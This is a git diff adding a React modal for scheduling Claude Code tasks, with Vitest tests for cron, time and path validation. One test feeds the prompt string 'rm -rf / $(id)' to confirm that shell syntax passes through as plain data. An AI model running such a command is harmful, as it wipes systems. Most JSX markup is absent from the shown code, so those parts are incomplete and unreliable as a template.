renamed_session_names: {}, + created_at: "2026-01-01T00:00:00Z", + updated_at: "2026-01-01T00:00:00Z", +}; + +const existingTask: ScheduledTask = { + id: "a1b2c3d4", + name: "nightly", + prompt: "Run the suite", + schedule: "0 3 * * *", + task_type: "recurring", + at: null, + enabled: false, + working_dir: "/workspace/api", + created_at: null, + last_run: null, + next_run: null, +}; + +async function renderEditor(task: ScheduledTask | null = null, project = baseProject) { + const onClose = vi.fn(); + const onSaved = vi.fn(); + render( + , + ); + await flushFocus(); + return { onClose, onSaved }; +} + +const field = (name: RegExp) => screen.getByLabelText(name) as HTMLInputElement; +const submit = async () => + await act(async () => { + fireEvent.click(screen.getByRole("button", { name: /create task|save changes/i })); + }); + +describe("TaskEditorModal", () => { + beforeEach(() => { + vi.clearAllMocks(); + vi.useFakeTimers({ toFake: ["requestAnimationFrame", "setTimeout"] }); + }); + afterEach(() => vi.useRealTimers()); + + it("sends the typed values through as data, untouched", async () => { + await renderEditor(); + fireEvent.change(field(/^name$/i), { target: { value: " nightly " } }); + // A prompt full of shell syntax must reach the backend verbatim. + fireEvent.change(field(/^prompt$/i), { + target: { value: 'echo "hi"; rm -rf / $(id)\nsecond line' }, + }); + fireEvent.change(field(/cron expression/i), { target: { value: "0 3 * * *" } }); + await submit(); + + expect(addScheduledTask).toHaveBeenCalledWith("p1", { + name: "nightly", + prompt: 'echo "hi"; rm -rf / $(id)\nsecond line', + scheduleKind: "recurring", + schedule: "0 3 * * *", + workingDir: "/workspace", + }); + }); + + it("refuses to submit an invalid cron expression and says why", async () => { + const { onSaved } = await renderEditor(); + fireEvent.change(field(/^name$/i), { target: { value: "nightly" } }); + fireEvent.change(field(/^prompt$/i), { target: { value: "do the thing" } }); + fireEvent.change(field(/cron expression/i), { target: { value: "99 * * * *" } }); + await submit(); + + expect(addScheduledTask).not.toHaveBeenCalled(); + expect(onSaved).not.toHaveBeenCalled(); + expect(screen.getByRole("alert")).toHaveTextContent(/out of range for the minute field/i); + }); + + it("refuses a relative working directory", async () => { + await renderEditor(); + fireEvent.change(field(/^name$/i), { target: { value: "nightly" } }); + fireEvent.change(field(/^prompt$/i), { target: { value: "do the thing" } }); + fireEvent.change(field(/working directory/i), { target: { value: "relative/path" } }); + await submit(); + + expect(addScheduledTask).not.toHaveBeenCalled(); + expect(screen.getByRole("alert")).toHaveTextContent(/absolute path/i); + }); + + it("reads the cron expression back in English", async () => { + await renderEditor(); + fireEvent.change(field(/cron expression/i), { target: { value: "0 9 * * 1-5" } }); + expect(screen.getByText("At 09:00, on Monday to Friday.")).toBeInTheDocument(); + + fireEvent.click(screen.getByRole("button", { name: "Hourly" })); + expect(field(/cron expression/i).value).toBe("0 * * * *"); + expect(screen.getByText("At :00 past every hour, every day.")).toBeInTheDocument(); + }); + + it("switches to a one-shot time and validates its format", async () => { + await renderEditor(); + fireEvent.change(field(/^name$/i), { target: { value: "one-off" } }); + fireEvent.change(field(/^prompt$/i), { target: { value: "commit" } }); + fireEvent.click(screen.getByRole("radio", { name: "Once" })); + + fireEvent.change(field(/run at/i), { target: { value: "tomorrow" } }); + await submit(); + expect(addScheduledTask).not.toHaveBeenCalled(); + expect(screen.getByRole("alert")).toHaveTextContent(/YYYY-MM-DD HH:MM/); + + fireEvent.change(field(/run at/i), { target: { value: "2099-12-25 09:05" } }); + await submit(); + expect(addScheduledTask).toHaveBeenCalledWith( + "p1", + expect.objectContaining({ scheduleKind: "once", schedule: "2099-12-25 09:05" }), + ); + }); + + it("warns that a headless run cannot answer a permission prompt", async () => { + // Bypass is the only mode where an unattended run is safe from stalling. + await renderEditor(null, { ...baseProject, permission_mode: "bypass" }); + expect(screen.getByText(/headless/i)).toBeInTheDocument(); + expect(screen.queryByText(/cannot answer a permission prompt/i)).toBeNull(); + }); + + it("spells out the stall risk in any non-Bypass mode", async () => { + await renderEditor(null, { ...baseProject, permission_mode: "default" }); + expect(screen.getByText(/cannot answer a permission prompt/i)).toBeInTheDocument(); + }); + + it("edits an existing task, carrying its enabled state and warning about the new id", async () => { + const { onSaved, onClose } = await renderEditor(existingTask); + expect(field(/^name$/i).value).toBe("nightly"); + expect(field(/cron expression/i).value).toBe("0 3 * * *"); + expect(field(/working directory/i).value).toBe("/workspace/api"); + // The id changes on edit; the user is told before they save. + expect(screen.getByText(/re-creates this task under a new id/i)).toBeInTheDocument(); + + fireEvent.change(field(/^name$/i), { target: { value: "nightly-v2" } }); + await submit(); + + expect(updateScheduledTask).toHaveBeenCalledWith( + "p1", + "a1b2c3d4", + expect.objectContaining({ name: "nightly-v2", workingDir: "/workspace/api" }), + false, // the task was disabled and must not come back enabled + ); + expect(onSaved).toHaveBeenCalled(); + expect(onClose).toHaveBeenCalled(); + }); + + it("surfaces a backend rejection instead of closing", async () => { + addScheduledTask.mockRejectedValueOnce(new Error("Container is not running")); + const { onClose } = await renderEditor(); + fireEvent.change(field(/^name$/i), { target: { value: "nightly" } }); + fireEvent.change(field(/^prompt$/i), { target: { value: "do the thing" } }); + await submit(); + + expect(screen.getByRole("alert")).toHaveTextContent(/Container is not running/); + expect(onClose).not.toHaveBeenCalled(); + }); +}); diff --git a/app/src/components/projects/home/TaskEditorModal.tsx b/app/src/components/projects/home/TaskEditorModal.tsx new file mode 100644 index 0000000..7e4d34f --- /dev/null +++ b/app/src/components/projects/home/TaskEditorModal.tsx @@ -0,0 +1,329 @@ +import { useId, useMemo, useRef, useState } from "react"; +import type { Project, ScheduledTask, ScheduledTaskInput, ScheduleKind } from "../../../lib/types"; +import { addScheduledTask, updateScheduledTask } from "../../../lib/tauri-commands"; +import { effectivePermissionMode, PERMISSION_MODES } from "../PermissionModeControl"; +import Button from "../../ui/Button"; +import Modal from "../../ui/Modal"; +import SegmentedControl from "../../ui/SegmentedControl"; +import { inputClass, monoInputClass } from "../../ui/Field"; +import { + atTimestampIsPast, + CRON_PRESETS, + DEFAULT_WORKING_DIR, + describeCron, + MAX_TASK_PROMPT_LEN, + validateAtTimestamp, + validateCronExpression, + validateTaskName, + validateTaskPrompt, + validateWorkingDir, +} from "./taskValidation"; + +interface Props { + project: Project; + /** `null` creates a new task; a task edits it in place. */ + task: ScheduledTask | null; + onClose: () => void; + /** Called after the scheduler accepted the change, to refresh the list. */ + onSaved: () => void; +} + +const DEFAULT_CRON = "0 9 * * *"; + +/** `YYYY-MM-DD HH:MM`, one hour from now, as the one-shot default. */ +function defaultAtTimestamp(now = new Date()): string { + const at = new Date(now.getTime() + 60 * 60 * 1000); + at.setSeconds(0, 0); + const pad = (n: number) => String(n).padStart(2, "0"); + return `${at.getFullYear()}-${pad(at.getMonth() + 1)}-${pad(at.getDate())} ${pad( + at.getHours(), + )}:${pad(at.getMinutes())}`; +} + +/** + * Create or edit a `triple-c-scheduler` task. + * + * Validation here mirrors the backend so mistakes surface before a round trip; + * the backend re-checks everything regardless. + */ +export default function TaskEditorModal({ project, task, onClose, onSaved }: Props) { + const formId = useId(); + const nameRef = useRef(null); + + const [name, setName] = useState(task?.name ?? ""); + const [prompt, setPrompt] = useState(task?.prompt ?? ""); + const [workingDir, setWorkingDir] = useState(task?.working_dir ?? DEFAULT_WORKING_DIR); + const [kind, setKind] = useState( + task?.task_type === "once" ? "once" : "recurring", + ); + const [cron, setCron] = useState( + task && task.task_type !== "once" ? task.schedule : DEFAULT_CRON, + ); + const [at, setAt] = useState(task?.at ?? defaultAtTimestamp()); + + const [showAllErrors, setShowAllErrors] = useState(false); + const [touched, setTouched] = useState>({}); + const [saving, setSaving] = useState(false); + const [submitError, setSubmitError] = useState(null); + + const errors = { + name: validateTaskName(name), + prompt: validateTaskPrompt(prompt), + workingDir: validateWorkingDir(workingDir), + schedule: kind === "recurring" ? validateCronExpression(cron) : validateAtTimestamp(at), + }; + const hasErrors = Object.values(errors).some(Boolean); + + const show = (field: keyof typeof errors) => + (showAllErrors || touched[field]) && errors[field] ? errors[field] : null; + + const cronReading = useMemo(() => describeCron(cron), [cron]); + const atIsPast = kind === "once" && atTimestampIsPast(at); + + const mode = effectivePermissionMode(project); + const modeLabel = PERMISSION_MODES.find((m) => m.value === mode)?.label ?? mode; + + const handleSubmit = async (e: React.FormEvent) => { + e.preventDefault(); + setShowAllErrors(true); + setSubmitError(null); + if (hasErrors) return; + + const input: ScheduledTaskInput = { + name: name.trim(), + prompt: prompt.trim(), + scheduleKind: kind, + schedule: kind === "recurring" ? cron.trim() : at.trim(), + workingDir: workingDir.trim() || DEFAULT_WORKING_DIR, + }; + + setSaving(true); + try { + if (task) { + await updateScheduledTask(project.id, task.id, input, task.enabled); + } else { + await addScheduledTask(project.id, input); + } + onSaved(); + onClose(); + } catch (err) { + setSubmitError(String(err)); + } finally { + setSaving(false); + } + }; + + const errorText = (message: string | null) => + message ? ( +

+ {message} +

+ ) : null; + + return ( + + + + + } + > +
+ {/* Name */} +
+ + setName(e.target.value)} + onBlur={() => setTouched((t) => ({ ...t, name: true }))} + placeholder="nightly-tests" + aria-invalid={show("name") ? true : undefined} + className={inputClass} + /> + {errorText(show("name"))} +
+ + {/* Prompt */} +
+ +

+ What Claude Code is asked to do on each run. +

+